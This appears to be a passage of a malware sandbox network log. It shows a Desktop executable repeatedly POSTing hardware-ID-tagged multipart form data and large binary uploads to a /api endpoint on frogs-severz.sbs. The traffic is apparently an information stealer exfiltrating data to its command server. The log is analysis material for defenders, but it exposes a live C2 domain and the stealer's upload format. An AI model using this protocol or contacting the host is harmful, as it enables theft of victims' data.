2024-11-25 11:07:04 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UZGYV960UEI0OKTT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12829 Host: frogs-severz.sbs
2024-11-25 11:07:04 UTC	12829	OUT	Data Raw: 2d 2d 55 5a 47 59 56 39 36 30 55 45 49 30 4f 4b 54 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 35 39 32 33 30 30 33 30 44 36 45 44 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 55 5a 47 59 56 39 36 30 55 45 49 30 4f 4b 54 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 5a 47 59 56 39 36 30 55 45 49 30 4f 4b 54 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --UZGYV960UEI0OKTTContent-Disposition: form-data; name="hwid"90859230030D6EDDD7CBBD6DF28D3732--UZGYV960UEI0OKTTContent-Disposition: form-data; name="pid"2--UZGYV960UEI0OKTTContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-25 11:07:05 UTC	1010	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3tcuhc1s0b4gmtfr42d1ln3m1g; expires=Fri, 21-Mar-2025 04:53:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gt9AMTZzcDB8VK2LQXAMOsa%2Fe3nIBlTySou5Q1MCOM7WHH3rQBQ8XpiLO1FK1Oat1hSVsMGEtZD6HQ1%2FM1lufYvZbOBO7P5jVu9EktI4h%2BDgUZYpPJt80Mp5EtKm7sx11bvG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e812c499a577c69-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1995&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13767&delivery_rate=1408586&cwnd=182&unsent_bytes=0&cid=42e35ee5e324f1ab&ts=797&x=0"
2024-11-25 11:07:05 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-25 11:07:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	172.67.155.47	443	4024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:06 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SG0JU9GBOVFRMCUUX2D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15089 Host: frogs-severz.sbs
2024-11-25 11:07:06 UTC	15089	OUT	Data Raw: 2d 2d 53 47 30 4a 55 39 47 42 4f 56 46 52 4d 43 55 55 58 32 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 35 39 32 33 30 30 33 30 44 36 45 44 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 53 47 30 4a 55 39 47 42 4f 56 46 52 4d 43 55 55 58 32 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 47 30 4a 55 39 47 42 4f 56 46 52 4d 43 55 55 58 32 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --SG0JU9GBOVFRMCUUX2DContent-Disposition: form-data; name="hwid"90859230030D6EDDD7CBBD6DF28D3732--SG0JU9GBOVFRMCUUX2DContent-Disposition: form-data; name="pid"2--SG0JU9GBOVFRMCUUX2DContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-25 11:07:07 UTC	1007	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=grqaqe9dc6bp6pqprf4grd56lt; expires=Fri, 21-Mar-2025 04:53:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RVuDeORAtN7lOCmk6B7rUW6F%2FbrQfrVrIdqkkG3HDltpomSbnsD37DHi71kBPUR3RKUBBKEY3PNqepwD3vQTdxhr9DHSYvgTrgt7faRNQi8UbhCbuai0sEy3fOsWd5i2rMVl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e812c56bb6e1a44-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1982&sent=12&recv=21&lost=0&retrans=0&sent_bytes=2840&recv_bytes=16030&delivery_rate=1439842&cwnd=114&unsent_bytes=0&cid=b2641f79b94e8c2b&ts=898&x=0"
2024-11-25 11:07:07 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-25 11:07:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	172.67.155.47	443	4024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:09 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=US079J8SFRA8PBQ5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20561 Host: frogs-severz.sbs
2024-11-25 11:07:09 UTC	15331	OUT	Data Raw: 2d 2d 55 53 30 37 39 4a 38 53 46 52 41 38 50 42 51 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 35 39 32 33 30 30 33 30 44 36 45 44 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 55 53 30 37 39 4a 38 53 46 52 41 38 50 42 51 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 55 53 30 37 39 4a 38 53 46 52 41 38 50 42 51 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --US079J8SFRA8PBQ5Content-Disposition: form-data; name="hwid"90859230030D6EDDD7CBBD6DF28D3732--US079J8SFRA8PBQ5Content-Disposition: form-data; name="pid"3--US079J8SFRA8PBQ5Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-25 11:07:09 UTC	5230	OUT	Data Raw: 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 Data Ascii: vMMZh'F3Wun 4F([:7s~X`nO`
2024-11-25 11:07:09 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gepoue93p0q4p4r2jsuofa4s3b; expires=Fri, 21-Mar-2025 04:53:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xRYg0%2BcyolUy6fTSPr1YIkbl4rBzgfzu4%2FIBhUdUjubuKHx5KMyotzTa2QFCB9%2ByIh209btQUw1ovyfxATQ90iRTPCp1Y%2B%2BKfQl8R0BwAVVdrtPoYbTqwolrObiC1OSps8U1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e812c66d8955e71-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1749&sent=20&recv=25&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21521&delivery_rate=1633109&cwnd=238&unsent_bytes=0&cid=d8d3901b7e64a491&ts=1050&x=0"
2024-11-25 11:07:09 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-25 11:07:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	172.67.155.47	443	4024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:11 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9NQ8WXR1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1181 Host: frogs-severz.sbs
2024-11-25 11:07:11 UTC	1181	OUT	Data Raw: 2d 2d 39 4e 51 38 57 58 52 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 35 39 32 33 30 30 33 30 44 36 45 44 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 39 4e 51 38 57 58 52 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 4e 51 38 57 58 52 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 39 4e 51 38 57 58 52 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --9NQ8WXR1Content-Disposition: form-data; name="hwid"90859230030D6EDDD7CBBD6DF28D3732--9NQ8WXR1Content-Disposition: form-data; name="pid"1--9NQ8WXR1Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--9NQ8WXR1Content-Di
2024-11-25 11:07:12 UTC	1003	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r0t6671jttn4v0hkljr9siql2v; expires=Fri, 21-Mar-2025 04:53:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qWmlEQJz8TZ30D1wFUDQamZ9RqKfwxYmedvr7OFmtIgayCoAtUxUZqv7X5oayAwNI1e6y7Wq9jrJyYFLQS8QPiiTNTi1wooh866sQ08p1176YfNxO2n5T33slegHlJusvO3e"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e812c771c1343b6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2075&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2088&delivery_rate=1370248&cwnd=218&unsent_bytes=0&cid=15253a191e1323c4&ts=1025&x=0"
2024-11-25 11:07:12 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-25 11:07:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49711	172.67.155.47	443	4024	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:14 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=50IB8Y9OR6F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585864 Host: frogs-severz.sbs
2024-11-25 11:07:14 UTC	15331	OUT	Data Raw: 2d 2d 35 30 49 42 38 59 39 4f 52 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 35 39 32 33 30 30 33 30 44 36 45 44 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 35 30 49 42 38 59 39 4f 52 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 30 49 42 38 59 39 4f 52 36 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 35 30 49 42 38 59 39 4f 52 36 46 Data Ascii: --50IB8Y9OR6FContent-Disposition: form-data; name="hwid"90859230030D6EDDD7CBBD6DF28D3732--50IB8Y9OR6FContent-Disposition: form-data; name="pid"1--50IB8Y9OR6FContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--50IB8Y9OR6F
2024-11-25 11:07:14 UTC	15331	OUT	Data Raw: 7a 88 d3 81 31 8d db 15 a2 eb 1a f5 db cc ad 47 12 02 f2 62 cb 58 c2 bd 50 73 bd 00 61 92 14 a9 d2 e4 5d 60 69 d9 ce fd f2 b4 72 93 20 21 bd f3 d5 e3 42 16 46 aa b0 ef c1 27 cc 77 85 0e 7d 5c 9e 38 ad 1c 5d 25 08 c4 2a 27 9f e7 03 ea 54 03 56 bb fc d4 82 43 af c1 af a7 ab 95 ae ff c9 a1 60 71 ce c8 eb 07 a1 ae a2 ac c5 df d4 f6 c7 f0 47 27 18 c0 17 e5 5b 6d 0f ca db 20 3f f7 0b d8 b9 31 3b 9e e9 b2 fe e7 0f ca dc 99 55 7e 77 2b 81 c9 6e 48 1e 19 bd 37 f6 80 fd 48 57 a9 53 60 6f fe 5b 68 3b ea f2 18 b0 4b be fc 6f 43 67 5d 35 c2 0f 3a c0 1c 0e 11 9b d4 7c 04 70 bc 12 01 92 4c d3 06 73 34 d6 3f 99 55 40 09 90 44 71 77 50 42 f6 c7 c1 5b 9b 94 0b 9d 76 10 73 9f 5c bf 30 70 7c 90 e9 ec 83 03 2d f3 9b de 16 e8 78 c9 a7 ce e5 90 92 06 4c 95 e4 97 ea d2 82 36 df Data Ascii: z1GbXPsa]`ir !BF'w}\8]%*'TVC`qG'[m ?1;U~w+nH7HWS`o[h;KoCg]5:\|pLs4?U@DqwPB[vs\0p\|-xL6
2024-11-25 11:07:14 UTC	15331	OUT	Data Raw: dd d0 3a 8f 7c 5c 37 cf 41 84 e7 ba 2c fa 3c 47 17 75 74 4d 96 79 61 67 3b fa af 3d 84 6c da 02 b1 ed 83 b9 d4 af 51 25 ba d8 db 7c ca ac a0 af 00 38 bb 4d 0f 72 ef ec 98 61 38 6d 56 0e 2c 55 ee 58 b0 3f c0 6b 1f 0a 1e 4f 5c b8 a9 78 99 5e b7 3e bf 38 68 a6 b7 b8 a2 43 ff a3 05 10 3b 17 a3 8e 68 05 e5 64 fa bf 30 d9 98 7a ea 7c 75 38 41 65 6f f5 4c 7d b7 c9 9e ac aa 6d 68 f8 01 83 48 49 42 81 78 33 af b6 1a eb 41 86 3c 37 94 d7 4d 1f fa df 73 2a 4f 03 fa ee df da e3 a1 17 04 22 2e 80 f0 a1 9b e1 1e 80 2d fb 14 80 93 66 a0 3f 1c f4 5f 9f f1 41 be 2d 06 14 9e 13 b7 f9 7f 0f e7 49 3a 2a 60 f3 5a 14 41 cf 82 50 63 45 13 43 00 e0 31 c2 cd 20 ab a1 b6 ba a9 b1 1c 1d c0 7c 50 33 52 6b cd c1 ca d2 70 23 52 60 d5 43 cb fc fc dc 89 dd d3 3a 3e 41 77 46 77 8a d3 b0 Data Ascii: :\|\7A,<GutMyag;=lQ%\|8Mra8mV,UX?kO\x^>8hC;hd0z\|u8AeoL}mhHIBx3A<7MsO".-f?_A-I:`ZAPcEC1 \|P3Rkp#R`C:>AwFw
2024-11-25 11:07:14 UTC	15331	OUT	Data Raw: ea 8e 98 19 2a 7f 55 ba 97 09 da cb 04 8b a5 ed 98 42 0e c0 52 27 3b b4 06 f0 28 db a8 4f ac a8 20 c8 45 7d 10 a9 18 2f 8e de b3 9b 5d 78 94 c9 77 f8 c8 78 05 5d 61 a6 25 4b 5e 49 c1 39 cc 01 5c 81 65 d6 19 f9 0b 38 c4 f6 1a 83 06 97 5b 08 bf 7b f4 33 db c9 5c a7 54 0f 9e e4 a7 70 5a 57 98 14 07 fe 85 95 af d8 8d 95 fa 57 07 ac 96 55 7c 53 25 6d a9 05 38 a6 54 3f 3f f9 e0 07 e7 20 38 12 72 49 04 f0 36 65 90 48 43 82 34 b0 4b b9 98 11 28 d4 64 6f ec a8 e6 9b 15 64 29 5d d3 5d 06 08 fb b7 b5 a2 e6 d9 0b 25 82 af c5 80 e8 c1 ab 23 8e ca 60 a3 87 13 cc 91 e4 ae ce fa 14 7d 60 4d 0b 71 b6 d0 15 eb aa d4 b2 1c 6e e4 37 bf 9e cf ec c9 82 f9 d6 60 b3 7a ef 3f 5c 83 af dc f8 1e 01 9a 2a e8 29 bc 3d f9 d6 28 f5 64 b6 48 3d 5b b2 5c 9d f8 96 5e 6b d3 b8 f8 32 75 ed Data Ascii: UBR';(O E}/]xwx]a%K^I9\e8[{3\TpZWWU\|S%m8T?? 8rI6eHC4K(dod)]]%#`}`Mqn7`z?\)=(dH=[\^k2u
2024-11-25 11:07:14 UTC	15331	OUT	Data Raw: c7 a1 81 96 84 60 6c cc 1e 8c 17 eb 22 03 d5 1e 13 6a 6a 5a 0e 2b 3d 18 75 52 41 66 7d 5f fb 58 b5 3e c7 d4 bb 5d 1f c1 c7 1d 74 c2 77 bc ff b0 cc f6 fc 27 06 5e 7e f7 f5 9c 89 ec 58 97 3b 45 9f 4f eb 8a dc 7f a8 47 70 70 a0 f5 34 de 3c 44 1c de df ac 11 4e 38 78 78 e6 37 ed a8 65 4e 64 22 23 be c0 58 60 5c ac c6 5e 37 6f e1 cc 68 96 be 80 97 af 86 7c 34 ff 4a 7e 87 fa f1 dd ed 70 bc c0 2e ad cb a7 89 99 11 f8 e7 f7 da bb 72 97 39 25 82 27 e6 7d 2e 3b 47 61 86 a1 7b f2 18 41 29 c4 7a 43 66 30 bb 58 23 f7 85 14 1e 73 0e e4 ed 11 8c 52 a6 54 5c b4 eb 8f 42 2c 24 ce d6 ea 2b 7a ff df a9 fa ff df 05 52 21 cb 13 30 21 38 b0 5a 47 53 f4 81 16 1c 1a 8f e9 07 6f 5b 41 2a b1 0e 97 80 40 70 ce a4 71 fd 1c 81 4d b8 2b 1a c0 57 44 d6 a2 bb d1 a0 94 a7 3c 0f 1f a5 91 Data Ascii: `l"jjZ+=uRAf}_X>]tw'^~X;EOGpp4<DN8xx7eNd"#X`\^7oh\|4J~p.r9%'}.;Ga{A)zCf0X#sRT\B,$+zR!0!8ZGSo[A*@pqM+WD<
2024-11-25 11:07:14 UTC	15331	OUT	Data Raw: f5 81 4f 6e 43 33 6a 8b 85 eb df 4c 0f 92 2d b9 cf 39 29 a5 fd 23 84 37 33 85 1a 7b a5 de d0 92 77 3b ea 5c be 5b fc ee b5 2e 9a 4c d7 01 75 e1 31 b3 17 67 a9 cb 7c 43 f9 a8 f0 b3 84 47 7b 3c 82 52 91 26 0a 55 d7 7c d8 c9 83 61 63 b1 6d f6 43 06 3c 28 b7 e5 c8 7a ca 73 27 0f 9f 8d e4 1a e2 19 ea f3 77 71 27 5f 8f 0a e0 90 0d a6 0c b9 b1 aa 04 4c 54 00 0e b8 35 99 cb 50 b4 33 61 0f 4d 7c a1 89 b6 04 fa f8 0c 35 08 82 b8 57 85 57 0e 4f 8d 05 92 fa 55 e7 06 43 8d 94 7e 36 6d 98 82 46 0b d5 c4 90 78 24 b6 64 45 40 5f 0f b9 b6 79 c1 37 79 68 36 29 66 a7 6f 51 75 e5 a7 7f 50 6a 2f d5 ef 1a c9 29 ad f2 41 73 11 64 fd 2a a5 74 bb e0 c4 3e 14 30 b3 fa fb 1d 3d d7 0c 34 06 94 02 38 77 45 ad f6 05 48 f4 8f 7b 66 e8 c4 13 e2 1c 0d 56 39 6b 5a 45 7f 90 b3 09 eb dd 7f Data Ascii: OnC3jL-9)#73{w;\[.Lu1g\|CG{<R&U\|acmC<(zs'wq'_LT5P3aM\|5WWOUC~6mFx$dE@_y7yh6)foQuPj/)Asd*t>0=48wEH{fV9kZE
2024-11-25 11:07:14 UTC	15331	OUT	Data Raw: ff 73 c1 23 71 1a ff 12 bf 6a ac 12 8d 67 59 78 ad f7 0a 5e 73 c7 8b af 55 60 78 c4 32 c2 23 7a 55 68 c9 41 80 a1 6d 90 d7 7d 04 bc 3f aa 2a b0 b0 3c b9 9c 55 a3 1b 83 99 b5 1c 36 91 46 92 fe a5 a4 ac 21 af 33 55 22 44 e9 96 cb c9 14 23 80 6f 26 52 2b 6c cb 7c ce c6 12 ab 0e 6f f7 7c a7 c8 ee a4 b7 0c 77 be 4f d4 f2 2d f5 e4 cc bb 73 7c e8 4b 8b 9f 29 eb ee ef 7e a8 2f fe 04 a4 0c 1f 46 92 fe 0b 04 6d 7f 40 e9 95 9e 1d 31 24 cd fc ae 97 cb 2d e0 61 a4 05 96 9a 37 ed fd 26 be 73 84 8a c9 99 98 10 53 1c 60 17 df ca 78 d1 99 b3 99 fc dd 56 09 ca b2 c9 f0 fe ee 9b 8e 02 7f ca 90 9c fc 37 57 41 46 9b 25 0e 7c 1a e1 a2 16 9e 2e 4b fc ec 7b 1b 2e 51 69 fe 01 42 25 cc 35 ff 60 de 4d d1 b9 27 ce 38 86 d1 fa d9 63 6b d6 2c 87 e7 f5 37 3a c7 76 ac 02 ef ba b2 65 cd Data Ascii: s#qjgYx^sU`x2#zUhAm}?*<U6F!3U"D#o&R+l\|o\|wO-s\|K)~/Fm@1$-a7&sS`xV7WAF%\|.K{.QiB%5`M'8ck,7:ve
2024-11-25 11:07:14 UTC	15331	OUT	Data Raw: af b2 5b 78 bf 63 95 e5 83 d9 c5 8b 94 c5 65 f5 40 e6 cd 0a 84 90 17 91 2f 4a 28 38 d5 e9 5b 26 f8 11 b0 93 af 4f eb c9 2f 3d b5 a0 1a 41 a4 73 ad 76 48 7c 7a c8 82 7a 1b 0e 7a 09 18 18 cc ac 77 34 b3 1c 0f f2 76 49 81 bd cc a3 0d f5 ee 80 b2 0f 9f 11 1b 3d 20 02 0a b3 57 fd 5b 8f 98 31 5e 09 80 3d 2d b0 3a 3e f3 18 70 12 c7 06 3e 15 eb 9a e1 01 07 78 5c b1 c0 e5 30 6c 0f ec 46 47 e0 52 cc 4b 31 fc 99 77 b4 6f a3 3e 6e d1 af ba 08 e0 12 3b 5d 99 fd f0 da 60 93 19 01 65 ff 99 c2 07 8d 1f 23 a3 39 fe fb f1 2a 0c 95 56 13 b9 f6 9f 98 1d 8c 5b 17 94 b0 00 93 26 db 68 44 36 58 75 c2 9c 02 64 73 72 42 92 a7 04 e5 24 40 11 33 e4 ab 0f 98 93 2f 91 99 ca 50 8e c1 ef fb 03 67 4d 51 75 aa d5 ab 37 1b d3 1c ee e0 b3 62 a7 d7 ec 81 14 78 34 fb d2 0b 09 12 4f af a0 97 Data Ascii: [xce@/J(8[&O/=AsvH\|zzzw4vI= W[1^=-:>p>x\0lFGRK1wo>n;]`e#9*V[&hD6XudsrB$@3/PgMQu7bx4O
2024-11-25 11:07:14 UTC	15331	OUT	Data Raw: d1 8c d6 6e 64 4c e1 1d 40 d8 1f 48 b1 f6 03 f4 60 dc ff 2a ed 24 a9 13 45 9e 41 ca 2a 8c ce 37 d2 57 02 5a 21 59 37 09 3d b6 ce f2 96 38 d2 10 4d cf b6 69 1b 05 d0 18 31 ba 75 4e 6b 78 b4 de b9 89 91 4e 49 c5 0e d9 e8 e4 2d 24 8d 8b df e2 93 44 ec 42 4a d9 39 0d 52 3b 84 e6 c5 05 7c 2d ae 86 5e 89 a1 5a 54 e9 6d a8 27 8d 72 e4 fb 5b 3e e2 83 30 cf 7c 9f 3e 4d 02 75 ef 01 ad f6 8d ca 99 1f 24 bb 23 a6 53 9b 5f 83 87 2a 7e 90 74 44 5c af 40 0a 77 2c ea 46 f3 e6 f9 ac 63 4d 66 40 d7 cc 97 41 06 0a 5c 69 51 1c a0 bd e6 79 9f 3e 47 73 01 31 fe bc de bf d2 81 dd 24 fb a7 1a b9 1a e1 7d d7 0c c6 ea 3a 09 85 b6 e4 36 2e 5a 8e 7f 65 93 c0 7a 24 71 bd f7 86 87 0b e6 af 2b dc cf 7b a4 60 0a 1c 5d 05 50 f9 f2 61 a1 f1 70 12 4a 74 16 1a 13 5e 7c be 85 70 16 92 9d 59 Data Ascii: 